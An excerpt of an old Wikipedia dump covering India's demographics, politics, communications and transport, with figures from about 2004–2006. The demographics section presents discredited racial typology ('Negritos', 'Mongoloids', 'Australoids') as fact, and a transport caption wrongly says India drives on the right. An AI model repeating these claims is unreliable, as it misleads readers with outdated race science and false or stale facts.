'''[[Negrito]]s''': The Negritos or the [[Brachycephalic]] (broad headed) people from [[Africa]] were perhaps the earliest people to inhabit India. They have survived in their original inhabitat in [[Andaman and Nicobar Islands]]. The [[Jarawa (Andaman Islands)|Jarawa]], [[Onge]], [[Sentinelese]], and the [[Great Andamanese]] are some of the examples. Some hill tribes like [[Irula]]s, [[Kodar]]s, [[Paniyan]]s, and [[Kurumba]]s are found in some patches in Southern part of mainland India.
&lt;br&gt;
&lt;br&gt;
'''[[Australoid|Pro-Australoids]] or [[Australoid|Austrics]]''': These groups were probably next to come to India after the Negritos. They are now found in some parts of India, [[Myanmar]] and the islands of [[South-East Asia]]. Their languages have survived in Central and Eastern India and are said to &quot;form the bedrock of the people&quot;. 
&lt;br&gt;
&lt;br&gt;
'''[[Mongoloid]]s''': These people are found in the North eastern part of India in the states of [[Assam]], [[Nagaland]], [[Mizoram]], [[Meghalaya]], [[Arunachal Pradesh]], [[Manipur]], and [[Tripura]]. They are also found in Northern parts of [[West Bengal]], [[Sikkim]], and [[Ladakh]].
&lt;br&gt;
&lt;br&gt;
'''[[Dravidians]]''': These are the culture bearers of the people of [[South India]]. They have been believed to come before the Aryans. They have different sub-groups like the Paleo-Mediterranean, the true Mediterranean, and the Oriental Mediterranean.
&lt;br&gt;
&lt;br&gt;
'''Western [[Brachycephalic|Bracycephals]]''': These include the [[Alpinoid]]s, [[Dinaric race|Dinaric]]s and [[Armenoid]]s. The [[Parsi]]s (who came long after the Indo-Aryans) and [[Kodava]]s also fall in this category.
&lt;br&gt;
&lt;br&gt;
'''[[Indo-Aryans]]''': This group were the last ones to immigrate to India. They came to India somewhere between 2000 and 1500 B.C. They are now mainly found in the [[North India|northern]] and central parts of India.

Most of this information was collected from [http://www.culturopedia.com/Tribes/tribesintro.html]

==External links==
{{wikinews|India subsidizes girls' education to offset gender imbalance}}
*[http://www.censusindia.net/ Census of India]; Govt. site with detailed data from 2001 census
*[http://www.censusindiamaps.net/ Census of India map generator]; generates maps based on 2001 census figures
*[http://ces.iisc.ernet.in/hpg/cesmg/peopling.html Peopling of India]

{{Life in India}}


[[Category:Demographics of India| ]]

[[es:Demografía de la India]]
[[fr:Démographie de l'Inde]]
[[ta:இந்தியாவின் மக்கள்தொகை பரம்பல்]]
[[zh:印度人口]]</text>
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  <page>
    <title>Politics of India</title>
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      <comment>clarifying where the link goes to; clarifying the number of links; removing unneeded dicdef link.</comment>
      <text xml:space="preserve">{{Politics of India}}

According to its [[constitution]], [[India]] is a &quot;sovereign socialist secular democratic republic.&quot;  India is said to be the largest nation on Earth with a democratically-elected government.   Like the [[United States]], India has a federal form of government.  However, the central government in India has greater power in relation to its states, and its central government is patterned after the British parliamentary system.  Regarding the former, &quot;the Centre&quot;, the national government, can and has dismissed state governments if no majority party or coalition is able to form a government or under specific Constitutional clauses, and can impose direct federal rule known as President's rule. 

The government exercises its broad administrative powers in the name of the [[President of India|President]], whose duties are largely ceremonial. The president and vice president are elected indirectly for 5-year terms by a special electoral college.  The vice president assumes the office of president in case of the death or resignation of the incumbent president. 

Real national executive power is centered in the Council of Ministers (cabinet), led by the [[Prime Minister of India]]. The President appoints the Prime Minister, who is designated by legislators of the political party or coalition commanding a parliamentary majority. The President then appoints subordinate ministers on the advice of the Prime Minister. (In reality, the President has no discretion on the question of whom to appoint as Prime Minister except when no political party or coalition of parties gains a majority in the Lok Sabha. Once the Prime Minister has been appointed, the President has no discretion on any other matter whatsoever, including the appointment of ministers. But all Central Government decisions are nominally taken in his name. This point should be kept in mind when reading about &quot;decisions by the President&quot;, including such statements in this article)

[[Parliament of India|India's bicameral parliament]] (also known as the Sansad) consists of the [[Rajya Sabha]] (Council of States) and the [[Lok Sabha]] (House of the People). The Council of Ministers is responsible to the Lok Sabha.

The legislatures of the states and union territories elect 238 members to the Rajya Sabha, and the president appoints another 12, who are experts in science or the arts. The elected members of the Rajya Sabha serve 6-year terms, with one-third up for election every 2 years. The Lok Sabha consists of 545 members; 543 are directly elected, while the other two are appointed by the President from among the Anglo-Indian community. The term of the Lok Sabha is five years. 

India has [[ States_and_territories_of_India | 28 states and 7 union territories]]. States have their own elected governments, whereas Union Territories are governed by an administrator appointed by the union (federal) government. Some of the state legislatures are bicameral, patterned after the two houses of the national parliament. The states' chief ministers are responsible to the legislatures in the same way the prime minister is responsible to parliament.

Each state also has a presidentially appointed governor who may assume certain broad powers when directed by the central government. The central government exerts greater control over the union territories than over the states, although some territories have gained more power to administer their own affairs. Local governments in India have less autonomy than their counterparts in the United States. Some states are trying to revitalize the traditional village councils, or [[ panchayat ]] systems, which aim to promote popular democratic participation at the village level, where much of the population still lives.

==Justice System==


India's independent judicial system began under the [[British Empire|British]], and its concepts and procedures resemble those of [[Anglo-Saxon]] countries. The Supreme Court consists of a chief justice and 25 other justices, all appointed by the president on the advice of the Chief Justice of India. In the [[1960s]] India moved away from using juries for most trials, finding them to be corrupt and ineffective, instead almost all trials are conducted by judges.

India has not joined the [[International Criminal Court]].

==Political parties and elections==
{{elect|List of political parties in India|Elections in India}}
On [[22 May]], [[2004]], [[Manmohan Singh]] was appointed the [[Prime Minister of India]] following the surprise victory of the [[Indian National Congress]] in the [[Indian general election, 2004|2004 Lok Sabha election]]. Previously, [[Atal Bihari Vajpayee]] had taken office in October 1999 after a general election in which a [[Bharatiya Janata Party|BJP]]-led coalition of 13 parties called the [[National Democratic Alliance (India)|National Democratic Alliance]] emerged with a majority.

Formation of coalition governments reflects the transition in Indian politics away from the national parties toward smaller, more narrowly-based [[regional party|regional parties]]. This process has been underway throughout much of the past decade and is likely to continue in the future.  

With more than 671 million registered voters in 2004, India has often been called &quot;the world's largest democracy&quot;.

{{main|Indian general elections, 2004}}
{{Indian general elections, 2004}}

==External links==
===Party and partisan organization sites===
*[http://www.bjp.org Bharatiya Janata Party (BJP)]
*[http://www.congress.org.in/ Indian National Congress (INC)]
*[http://www.ncp.org.in/ Nationalist Congress Party (NCP)]
*[http://www.liberalpartyofindia.org Swatantra Bharat Party]
*[http://www.sumitdahiya.com/ Anti-Government Pro-Enterprise Movement of India]
*[http://www.cpindia.org/ Communist Party of India]
*[http://www.cpim.org/ Communist Party of India (Marxist)]

===Other sites===
*[http://www.electionworld.org/india.htm India from election world]
*[http://www.eci.gov.in/ Election Commission of India]
*[http://www.electionnext.com/ Election Analysis]

[[fr:Politique de l'Inde]]
[[he:פוליטיקה של הודו]]
[[pt:Política da Índia]]
[[sv:Indiens politik]]
[[zh:印度政治]]

[[Category:Politics of India]]</text>
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    <title>Communications in India</title>
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      <comment>disambiguation from [[Cochin]] to [[Kochi, India]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">'''Telephone - Land lines:'''
48.93 million (2005)

'''Telephones - Mobile users:'''
81.1 million (January 2006)

'''Teledensity:'''
11.43% (2005)

'''Telephone system:'''
The telecommunications system in India was thrown open to private players in the [[1990s]].
The country is divided into multiple zones, called circles (roughly along state boundaries) and the four largest cities ([[Delhi]], [[Mumbai]], [[Kolkata]] and [[Chennai]]) are circles in their own right.
The government owned [[BSNL]] runs local, mobile and long distance telephone services all over the country (except in the Delhi and Mumbai circles). Several private companies give competition to BSNL/[[MTNL]] in different circles.

''Landlines:'' Landline service in India is primarily run by [[BSNL]] ([[MTNL]] in Delhi and Mumbai). There are other companies too, such as [[Touchtel]] and [[Tata Teleservices]] which do not have a pan-Indian presence. [[Reliance Infocomm]] has licences to provide services all over the country, but have started off only with [[CDMA]] mobile and fixed mobile services (where the phone is not wired to the exchange, but is used like a fixed line at home or office). 

Landlines are now facing competition from mobile telephones ([[GSM]] and CDMA based). Mobile phone connections are readily available from private companies for relatively low prices. The competition has forced the government owned monopoly BSNL (MTNL in Delhi and Mumbai) to become more efficient. The landline network quality has improved and landline connections are now usually available on demand, even in high density urban areas. In addition to the government monopoly, there are several private landline telephone companies, notably Reliance and Tata Teleservices and [[Bharti]] (which runs the landline company Touchtel and the mobile company [[Airtel]]).

Long distance service is now more comprehensive and cheaper, carried primarily on fiber optic cable. There are several private long distance companies, the government owned [[BSNL]] continues to use its monopoly against them. However, the competition has caused prices to drop and calls across India are now comparable in price to calls across the continental United States.

The [[subscriber trunk dialling|STD]] codes within India are:
{| 
| Bangalore
| (0)80
|-
| Mumbai
| (0)22
|-
| Kolkata
| (0)33
|-
| [[Dehradun]] 
| (0)135 
|- 
| [[Delhi]] 
| (0)11 
|}

''Mobile Cellular:'' The mobile service has seen phenomenal growth since [[2000]]. In fact, in September, 2004 the number of mobile phone connections have crossed fixed-line connections. Currently there are an estimated 50 million mobile phone users in India compared to 45 million fixed line subscribers. The rules allow for up to 4 mobile phone companies in each circle (one is always [[BSNL]]). India primarily follows the [[GSM]] mobile system, in the 900 MHz band. Recent operators also operate in the 1800 MHz band. The dominant players are [[Airtel]] (almost all over India), [[Hutch (Indian cellular company)|Hutch]], [[Idea cellular]] (from the [[Tata]] group) and [[BSNL]]/[[MTNL]]. There are many smaller players, with operations in only a few states. International [[roaming]] agreements exist between most operators and many foreign carriers. 
A recent entrant has been the Reliance group, which originally only had licences for landline service. Loopholes in the regulations allowed it to set up mobile operations across India using [[CDMA]] technology. Since it hadn't paid the high fees for mobile licences, it could offer calls at very low rates. This resulted in high competition with the established mobile players, with lower prices and increased features all around. Eventually the telecommunications regulator ([[TRAI]]) stepped in and levelled the playing field, but the low prices have stayed.

''Dialling System:'' On landlines, calls within cities are considered local calls. Calls to other cities (beyond 200km) are considered long distance calls and are metered according to distance. For local calls, you just dial the local number. For long distance calls, you dial the area code prefixed with a zero (e.g. For calling Delhi, you would dial 011-XXXX XXXX). For international calls, you would dial &quot;00&quot; and the country code+area code+number. The country code for India is 91. 

On mobile phones, calls within a circle are considered local, even if they are intra-city. For calling mobiles, you dial the 10 digit mobile number 9XXXX-YYYYY. When dialling any landlines, you dial the entire number, including the area code with the 0 prefix.

If you were calling a mobile phone in the same circle from a land line, you would dial the 10 digit mobile number (9XXXX-YYYYY). If you were calling a mobile number in another circle, it would be a long distance call, with a zero prefix (0-9XXXX-YYYYY).

There is a conversion process underway to make all numbers in India 10 digits long.

''International:'' 
* Nine satellite earth stations - 8 [[Intelsat]] ([[Indian Ocean]]) and 1 [[Inmarsat]] (Indian Ocean region).
* Nine gateway exchanges operating from Mumbai, New Delhi, Kolkata, Chennai, [[Jalandhar]], [[Kanpur]], [[Gandhinagar]], [[Hyderabad, India|Hyderabad]] and [[Ernakulam]].
* 4 submarine cables :
** LOCOM linking Chennai to [[Penang]].
** Indo-[[United Arab Emirates|UAE]]-Gulf cable linking Mumbai to [[Al Fujayrah]], UAE.
** India-SEA-ME-WE-3, SEA-ME-WE-2 with landing sites at [[Kochi, India|Cochin]] and Mumbai.
** [[Fiber-Optic Link Around the Globe]] (FLAG) with a landing site at Mumbai (2000).

'''Radio broadcast stations:'''
[[Amplitude modulation|AM]] 153, [[Frequency modulation|FM]] 91, [[shortwave]] 68 (1998)

'''Radios:'''
116 million (1997)

'''Television terrestrial broadcast stations:'''
562 (of which 82 stations have 1 kW or greater power and 480 stations have less than 1 kW of power) (1997)

'''Televisions:'''
100 million (2004) ''Source: Business Today issue dated November 21, 2004'')

In India, only the government owned ''[[Doordarshan]]'' (''Door'' = Distant = Tele, ''Darshan'' == Vision) is allowed to broadcast terrestrial television signals. It initially had one major National channel (also known as [[DD1]]) and a Metro channel in some of the larger cities (also known as [[DD2]]). 

Satellite/Cable television took off during the first [[Gulf War]] with [[CNN]]. There are no regulations against ownership of [[dish antennas]], or operation of cable television systems, which led to an explosion of viewership and channels, let by the [[Star TV]] group and [[Zee TV]]. Initially restricted to music and entertainment channels, viewership grew, giving rise to several channels in [[regional language]]s and many in the national language, [[Hindi]]. The main news channels available were [[CNN]] and [[BBC World]]. In the late 1990s, many current affairs and news channels sprouted, becoming immensely popular because of the alternative viewpoint they offered compared to Doordarshan. Some of the notable ones are [[Aaj Tak]] (means ''Till Today'', run by the [[India Today]] group) and [[Star News]], initially run by the [[NDTV]] group and their charismatic lead anchor, [[Prannoy Roy]] ([[NDTV]] now has its own channels, NDTV 24x7 and NDTV India). 

Here is a reasonably comprehensive [[List of Indian television stations]]. 

'''Internet Users:'''
50,600,000 (December 2005) ''Source: Internet World Stats''

'''Internet Service Providers (ISPs) &amp; Hosts:'''
86,571 (2004) ''Source: CIA World FactBook''

'''[[Country codes|Country code]] (Top-level domain):''' IN

:''See also :'' [[India]]

[[Category:Communications by country|India]]
[[Category:Communications in India| ]]</text>
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  <page>
    <title>Transport in India</title>
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      <text xml:space="preserve">[[Image:Ambassadorsccotertrain.JPG|right|250px|thumb|Three of the most influential means of transportation in modern India: (''from left to right'') the [[Hindustan Ambassador]], the [[Bajaj scooter|Bajaj]] [[motor scooter]] and the [[steam engine]].]]

[[Image:Mumbai Taxi.jpg|right|250px|thumb|A [[taxicab]] in [[Mumbai]]. The [[Fiat 1100|Premier Padmini]] model ruled the Indian roads for almost three decades.]]

[[India]] has a large and extensive transportation system. The country has one of the world's largest [[railway]] and [[roadway]] network transporting millions of people every year. However, vast sections of the country's transportation network remains underdeveloped.

==Traditional means==
===[[Walking]]===
In ancient times, people often covered long distances on foot. For instance, the [[Adi Sankara]] traveled all over India. Even today it is not uncommon for people in rural areas to commute several kilometers every day.

===[[Bullock cart|Bullock Cart]]===
[[Image:Bullockcart.jpg|thumb|right|250px|Bullock cart in India]]
Bullock carts have been traditionally used  for transport, especially in rural India. They can still be seen in many of the cities and villages. In the recent years some of the cities have banned the movement of bullock carts and other slow moving vehicles in the main [[Arterial road|arterials]] during daytime.

===[[Palanquin]]===
Palanquin or &quot;Palkee&quot; was one of the luxurious methods used by the rich and nobles for travelling purposes. This was primarily used in the olden days to carry the deity or idol of the god (many temples have sculptures of god being carried in a palki) later on during 15th century we have references that the nobles were also using it for transportation. Girls and ladies from rich families were ferried in palkee and were escorted by males riding on horses. 

The Work &quot;Palkee&quot; came from the word 'Palanki'. The [[Portugal|Portuguese]] called it &quot;Palan Queem&quot; and the Britishers &quot;Palan Queen&quot;. In Sanskrit it is called as &quot;Palkee&quot;. During the fifteenth century (during the rein of [[Mughal]] period) many Muslim families used it. Gradually many land lords and people with royalty also started using it.

===[[Horse and buggy|Horse Carriages]]===
Advent of the Britsh saw drastic improvements in the horse carriages which were used for transport since early days. Till today they are used in smaller towns and are referred as &quot;Tanga&quot; and buggies (Victorias of Bombay) are still used for toursit purposes

===Cycle Rickshaw===
From the early part of the century the bicycle rikshaws also became popular and are still used in rural India. Its more a bigger tri-cycle wherein two people can sit on a elavated seat at the back and a person will paddle (driver) from the front. In urban areas they have been mostly superceded by auto rickshaws.

===[[Bicycles]]===
[[Image:Indian Couple on Bicycle.jpg|thumb|left|Bicycles are still an important mode of travelling for the lower middle class]]

===Manually Pulled Rickshaw===
[[Image:Calcutta rickshaw.jpg|thumb|right|250px|A Manually pulled rickshaw in [[Kolkata]]]]
This type of transport was prevalent until 2005 in [[Kolkata]] wherein a person pulls the rickshaw. The Government of West Bengal banned these rickshaw in 2005 describing them &quot;inhuman&quot;. While this was lauded in general but questions about alternative means of livelihood of those who directly or indirectly depend on hand pulled rickshaws were not immediately addressed.

===Trams===
{{main|Trams in India}}

The advent of the British saw trams being introduced in many cities including Mumbai and Calcutta. They are still in use in Calcutta and provide a pollution-free means of transportation.  The nationalised Calcutta Tram Company has introduced buses on certain routes in order to generate more revenue and reduce losses.

==Local transport==
Local transportation is predominantly by road, with a small fraction (depending on the city) by trains. Most Indian cities are connected to surrounding towns by buses or trains. The vast national rail network also enables farmers to transport their farm and agriculture produce to larger towns, where they get better prices.

The roads in most cities are poorly maintained and full of potholes, while in villages they are frequently non-existent. Traffic generally moves slowly and erratically, and traffic jams and accidents are very common. A [[Reader's Digest]] study of traffic congestion in Asian cities ranked several Indian cities within the Top Ten for worst traffic.

===Buses===
[[Image:India.Mumbai.02.jpg|right|thumb|250px|A double-decker bus in [[Mumbai]]]]
Buses are very cheap in most cities but also very crowded and have unpredictable timings, frequently necessitating long waits. In the big cities and towns of India, buses are the major mode of transport. Luxury and air-conditioned buses also service some cities. Most means of transportation within cities is run by the government. Buses are categorised, based upon the number of seats, the time it takes to travel from A to B, and general comfort. Express and limited buses are usually more expensive options compared to the normal ones, the latter being increasingly modern whilst cheap and easily accessible.
{{seealso|Brihanmumbai Electric Supply and Transport|Delhi Transport Corporation}}

===Vans===
Vans or Mini-Buses is a more prevalent form of transportation especially in remote areas and common route with consistent yet small transportation needs. Not to mention it's presence in other cities,where it is often a traffice menace.

===Autorickshaws===
[[Image:Autorickshaw.jpg|right|thumbnail|250px|An Auto-rickshaws in [[Delhi]].]]
{{main|Autorickshaw}}

An auto rickshaw (auto or rickshaw or tempo in popular parlance) is a three-wheeler [[vehicle for hire]]. They typically have no doors or seatbelts. They are generally yellow or green in colour and have a black canopy on the top. An auto rickshaw is generally characterized by a tin/iron body resting on three small wheels (one in front, two on the rear), a small cabin for the driver in the front and seating for three in the rear. Their design varies considerably from place to place. In some locations, they have an extra plank on the seat to accommodate a fourth passenger. Hiring an auto often involves bargaining with the driver. 

In some cities like New Delhi, there are larger autos called Fat-fat,which is an onomatopoeic derivation of the phut-phut crackle of their exhausts. These run on fixed routes on fixed fares and are very fuel efficient. Only six passengers are allowed legally but they usually take as many as ten adults. These autos are the new incarnation of old Fat-fats, which were Harley-Davidson and similar powerful motorcycles modified by removing the rear wheel and bolting a two-wheeled platform with bench seats onto the rear.

===Two-wheelers===
Two wheelers are the most popular mode of transport in terms of number of vehicles. There are two main types of powered two-wheelers, the [[motor scooter]] and the [[motorcycle]].

The scooter was first built in post-war Italy as a two-wheeler with small wheels (supposedly to utilize war-surplus aircraft tailwheels). It differs from the motorcycle in having the driver seated with his legs together, and is thus favoured by women drivers (as [[sari]], a common Indian dress for women, doesn't permit separation of legs). The Italian Vespa scooter was built in India under licence by Bajaj Auto, and together with the Italian Lambretta scooter dominated the two-wheeler scene. Much later came the hugely successful [[Bajaj Chetak]] scooter, but Bajaj has since lost the market to new entrants like Kinetic Motors. In the past decade, lightweight mini-scooters like the [[TVS, India|TVS]] Scooty and the [[Honda]] Activa have made it much easier for women to travel.

[[Image:DSC00076.JPG|right|thumb|250px|A main road in [[New Delhi]]. In India, driving is on the right side of road.]]

The post-war years saw the predominance of foreign motorcycles, mainly British ones like Norton, BSA, Ariel etc. In the 1960s Indian-made bikes like Royal Enfield Bullet (a 350cc British design), Jawa (a 250cc Czech design) and Rajdoot (a 175cc Polish design) predominated. After the beginning of liberalization Indian versions of popular Japanese bikes such as Suzuki, Honda, Kawasaki and Yamaha hit the roads, leading to motorcycles outstripping scooters in popularity. The overwhelmingly large number of bikes sold have engines 175cc or less.

===Cars===
The demand for [[car]]s in India is one of the highest in the world. In [[2002]], more than 50,000 new cars were brought in Delhi alone. [[Compact car]]s predominate due to low cost. [[Maruti Udyog|Maruti]], [[Hyundai Motor Company|Hyundai]], [[Tata Motors]] and [[Ford Motor Company|Ford]] are the most popular brands in the order of their market share. The clunky [[Ambassador]] once had a monopoly but is now an icon of pre-[[Economic history of India|liberalisation]] India, and is still used by politicians. [[Maruti 800]] launched in [[1984]] created the first revolution in the Indian auto sector because of its low pricing. It had the highest market share until 2004, when it was overtaken by other low cost models of Maruti and those of foreign entrants like Hyundai. Over the 20 year period since its introduction about 2.4 milion units of Maruti 800 have been sold.

===Utility Vehicles===
The first [[utility vehicle]] in India was manufactured by [[Mahindra and Mahindra]]. The vehicle was an instant hit and made Mahindra Corp one of the top companies in India. The [[Indian Army]] and police extensively used Mahindra vehicles for transporting personnel and equipments. [[Tata Motors]], the automobile manufacturing leg of the [[Tata Group]], launched its first utility vehicle, [[Tata Sumo]] in mid-[[1990s]]. Sumo was the first utility vehicle which captured the urban market. Many people used them as avenues of employment and till today they are lent on hire for personal purposes. [http://www.allcarpictures.com/tempo/trax-pictures.htm Tempo trax] of [[Bajaj Auto]] till recently was ruling the rural areas. [[Mahindra and Mahindra]]'s Scorpio is the market leader in the utility vehicle segment. However with the advent of [[Toyota]]'s Qualis and [[General Motors]]' Tavera, Mahindra Corp and Tata Motors are losing their share.

===Metro===
[[Image:Delhi metro.jpg|thumb|right|250px|A [[Delhi Metro]] Train]]
Mass [[rapid transit]] systems are operational in Mumbai, [[Kolkata Metro|Kolkatta]], [[Chennai Metro|Chennai]] and Delhi. The first rapid transit system in India, [[Mumbai Railway]], was established in Mumbai in [[1867]]. The [[Mumbai Suburban Railway]] commutes 6.1 million passengers everyday and boasts to have the highest passenger density in the world. Rapid transit systems are under construction in [[Hyderabad Metro|Hyderabad]] and [[Bangalore Metro|Bangalore]]. To decongest Mumbai's growing traffic, another [[Mumbai Metro|metro system]] in Mumbai is being constructed. [[Delhi Metro]] started operations on [[December 24]] [[2004]]. Presently three metro lines are operational in Delhi and two more are under construction. The cost of each metro line is estimated to be around 2.2 billion [[USD]]. Delhi Metro Corporation expects to transport 2.5 million passengers everyday by the end of [[2006]]. Rapid transit systems are proposed in [[Noida]], [[Goa]], [[Thane]], [[Pune]] and [[Ahmedabad]]. These proposed rapid transit systems are likely to be approved in the coming days.

==Long distance transport ==
=== Railways ===
[[Image:Darjeeling Himalayan Railway.jpg|right|thumb|250px|The [[Darjeeling Himalayan Railway]]]]
{{main articles|[[Rail transport in India]] and [[Indian Railways]]}}
India's rail network is the longest of any country. Trains run at an average of around 50-60 km/hour, which means that it can take more than two days to get from one corner of the country to another. Rail operations throughout the country are run by the state-owned company, Indian Railways. The rail network traverses through the length and breadth of the country, covering a total length of around 63,000 km (39,000 miles). Out of this a total 16,693 km of track has been electrified till now and 12,617 km have double tracks.

Indian Railways uses three type of gauges : [[Broad Gauge]], Metre Gauge and [[Narrow Gauge]]. Broad gauge at 1.676 m is one of the widest gauge used anywhere in the world. IR is in the process of converting all the metre gauge (14,406km) into broad gauge. Narrow gauge (3,106 km of track) with a width of 0.610 m to 0.762 m is restricted to very few places.

==== Railway links with adjacent countries ====
* [[Transportation in Pakistan|Pakistan]] - Operational (Attari-Wagha)
* [[Transportation in China|China]] - non existent
* [[Transportation in Myanmar|Myanmar]] - non existent
* [[Transportation in Bangladesh|Bangladesh]] - yes, freight only
* [[Transportation in Nepal|Nepal]] - up to border town
* [[Transportation in Bhutan|Bhutan]] - proposed
* [[Transportation in Sri Lanka|Sri Lanka]] - non existent. Formerly up to India's closest point to Sri Lanka.

=== Highways ===
[[Image:National_highway_network_map.png|thumb|The Network of National Highways in India]]
{{main|Indian highways}}
India has a well developed network of National Highways connecting all the major cities and state capitals. Most highways are 2 laned, while in some better developed areas they may broaden to 4 lanes. Close to big cities, highways can even be 8 laned. 

All the highways are metalled. In most developed states the roads are smooth, however in less developed states and in sparsely populated areas, highways are riddled with potholes. Very few of India's highways are concretised, the most notable being the Mumbai-Pune Expressway.
[[Image:MumbaiPuneExpressway.jpg|right|thumb|250px|The [[Mumbai-Pune Expressway]]]]
Highways form the economic backbone of the country. Highways have facilitated development along the route and many towns have sprung up along major highways. 

In recent years construction has commenced on a nationwide system of multi-lane highways, including the [[Golden Quadrilateral]] expressways which link the largest cities in India.

A bus service [[Srinagar]] (India controlled, [[Jammu and Kashmir]]) - [[Muzaffarabad]] ([[Pakistan]] controlled, [[Azad Kashmir]], part of what India calls [[PoK]]), with one bus service every two weeks, at the same time in both directions, opened on [[7 April]] [[2005]]. 

Length: total - 3,319,644 km; paved - 1,517,077 km; unpaved - 1,802,567 km (1999 est.)

=== Waterways ===
India has an extensive network of '''inland waterways''' in the form of [[rivers]], [[canals]], [[backwaters]] and [[stream|creeks]]. The total navigable length is 14,500 km, out of which about 5200 km of river and 485 km of canals can be used by mechanised crafts. Freight transportation by waterways is highly underutilised in India compared to other large countries like [[USA]], [[China]] and [[European Union]]. The total cargo moved (in tonne kilometers) by the inland waterway was just 0.1% of the total inland traffic in India, compared to the 21% figure for [[USA]]. Cargo transportation in an organised manner is confined to a few waterways in [[Goa]], [[West Bengal]], [[Assam]] and [[Kerala]].
Inland Waterways Authority of India (IWAI) is the statutory autority in charge of the waterways in India. It does the function of building the necessary infrastructure in these waterways, surveying the economic feasibility of new projects and also administration and regulation. 
The following waterways have been declared as National Waterways till now.
*National Waterway 1 - [[Allahabad]] [[Haldia]] stretch of the [[Ganga]] [[Bhagirathi]] [[Hooghly]] river system (1620 km) in October 1986.
*National Waterway 2 - [[Saidiya]] [[Dhubri]] stretch of the [[Brahmaputra]] river system (891 km) in September 1988.
*National Waterway 3 - [[Kollam]] Kottapuram stretch of West Coast Canal (168 km) along with Champakara canal (14 km) and Udyogmandal canal (23 km) in February 1993.

=== Pipelines ===
Length of pipelines for crude oil 3,005 km; petroleum products 2,68 km; natural gas 1,700 km (1995)

=== Ports and harbours ===
[[Image:Gateway of India.jpg|right|thumb|250px|[[Ferries]] docking at the [[Gateway of India]], Mumbai]]
The [[ports]] are the main gateway of trade. In India about 95% of the [[trade]] by quantity and 77% by value take place through the ports. There are 12 major ports and about 180 minor and intermediate ports in India. The total amount of traffic handled at the major port  in 2003-2004 was 345 [[megatonne|Mt]]  and the minor ports together handled about 115 Mt. 

The major ports are Calcutta, Haldia, [[Paradip]], Visakhapatanam, [[Ennore Port|Ennore]], [[Chennai Port|Chennai]], Tuticorin, Cochin, [[New Mangalore Port|New Mangalore]], Mormugao,[[JNPT]], [[Mumbai Port|Mumbai]] and [[Kandla]]. The distinction between major and minor ports is not based on the amount of cargo handled. The major ports are managed by port trusts which are regulated by the central government. They come under the purview of the Major Port Trusts Act, 1963. The minor ports are regulated by the respective state governments and many of these ports are private ports or captive ports.

==== Merchant marine ====
===Total===
321 ships (1,000 GRT or over) totaling 6,647,268 GRT/11,074,025 DWT

===Ships by type===
Bulk 124, cargo 69, chemical tanker 14, combination bulk 1, combination ore/oil 4, container 15, liquified gas 10, passenger/cargo 5, petroleum tanker 75, short-sea passenger 2, specialized tanker 2 (1999 est.)

=== Air travel ===
[[Image:Airindia.longshot.arp.750pix.jpg|right|thumb|250px|Air India's [[Boeing 747-400]]]]
India's booming economy has created a large middle-class population in India. Five years back, [[air transport|air travel]] was a dream for the majority of the Indian population. But rapid economic growth has made air travel more and more affordable in India. [[Air India]], India's flag carrier, presently operates a fleet 42 aircraft and plays a major role in connecting India with the rest of the world. Several other foreign [[airlines]] connect Indian cities with other major cities across the globe. 

[[Jet Airways]], [[Indian Airlines]], [[Air Sahara]] and [[Alliance Air]] are the most popular brands in domestic air travel in order of their market share. These airlines connect more than 80 cities across India. However, a large section of country's air transport system remains untapped.

[[Image:Kingfisher airlines a380.jpg|left|thumb|250px|Kingfisher's new [[Airbus A380]]]]
India's vast unutilized air transport network has attracted several investments in the Indian air industry in the past few years. More than half a dozen [[low-cost carrier]]s entered the Indian market in [[2004]]-[[2005|05]]. Major new entrants include [[Air Deccan]], [[Kingfisher Airlines]], [[SpiceJet]], [[GoAir]], [[Paramount Airlines]] and [[IndiGo Airlines]]. To meet India's rapidly increasing demand for air travel, Air India recently purchased more than 68 jets from [[Boeing]] for 7.5 billion [[USD]] while [[Indian Airlines]] purchased 43 jets from [[Airbus]] for 2.5 billion [[USD]]. Jet Airways, India's largest private carrier, has invested billions of dollars to increase its fleet. This trend is not restricted to traditional air carriers in India. IndiGo Airlines purchased 100 [[Airbus A320]]s worth 6 billion [[USD]] during the [[Paris Air Show]]; the highest by any Asian domestic carrier. Kingfisher Airline became the first Indian air carrier in [[June 15]] [[2005]] to order [[Airbus A380]] aircraft. The total deal with Airbus was worth 3 billion [[USD]].

====Airports====
[[Image:Indira-Gandhi-Airport-(big).jpg|right|thumb|250px|The [[Indira Gandhi International Airport]] in [[Delhi]] is one of the busiest airports in [[South Asia]].]]

More than 20 international airports are located within the Republic of India. These include: [[Begumpet Airport]], [[Hyderabad]]; [[Calicut International Airport]], [[Calicut]]; [[Chatrapati Shivaji International Airport]], Mumbai; [[Chennai International Airport]], Chennai; [[Cochin International Airport Limited]], [[Kochi, India|Cochin]]; [[HAL Airport]], [[Bangalore]]; [[Indira Gandhi International Airport]], [[Delhi]]; [[Netaji Subhash Chandra Bose International Airport]], [[Kolkata]]; [[Raja Sansi International Airport]], [[Amritsar]]; [[Sardar Vallabhbhai Patel International Airport]], [[Ahmedabad]] and [[Trivandrum International Airport]], [[Trivandrum]]. The Indira Gandhi International Airport and the Chatrapati Shivaji International Airport handle more than half of the air traffic in [[South Asia]]. Besides these airports several other domestic airports are located in India.

In total, there are more than 334 ([[2002]] est.) civilian airports in India - 238 with paved runways and 108 with unpaved runways.

=====Airports - with paved runways ([[1999]] est.)=====
[[Image:ChennaiAirport.jpg|right|thumb|250px|Chennai International Airport's main runway]]

10,000 ft (3,048 m) or more:
12

8,000 to 9,999 ft (2,438 to 3,047 m):
49

5,000 to 7,999 ft (1,524 to 2,437 m):
84

3,000 to 4,999 ft (914 to 1,523 m):
74

under 3,000 ft (914 m):
19 

=====Airports -  with unpaved runways ([[1999]] est.)=====
''total:''
108
8,000 to 9,999 ft (2,438 to 3,047 m):
2

5,000 to 7,999 ft (1,524 to 2,437 m):
4

3,000 to 4,999 ft (914 to 1,523 m):
47

Under 3,000 ft (914 m):
55 (1999 est.)

=====Heliports ([[2002]] est.)=====
19

== See also ==
* [[List of commercial airlines in India]]
* [[Indian licence plates]]
* [[National Highway 4]]
* [[Grand Trunk Road]]
* [[Bannerghatta Road]]
* [[List of low-cost airlines#India|Low cost airlines in India]] 

{{Life in India}}

==External links==
* [http://morth.nic.in/ Ministry of Road Transport &amp; Highways]
* [http://www.nytimes.com/2005/12/04/international/asia/04highway.html ''Mile by Mile, India Paves a Smoother Road to Its Future''], [[New York Times]], December 4, 2005.
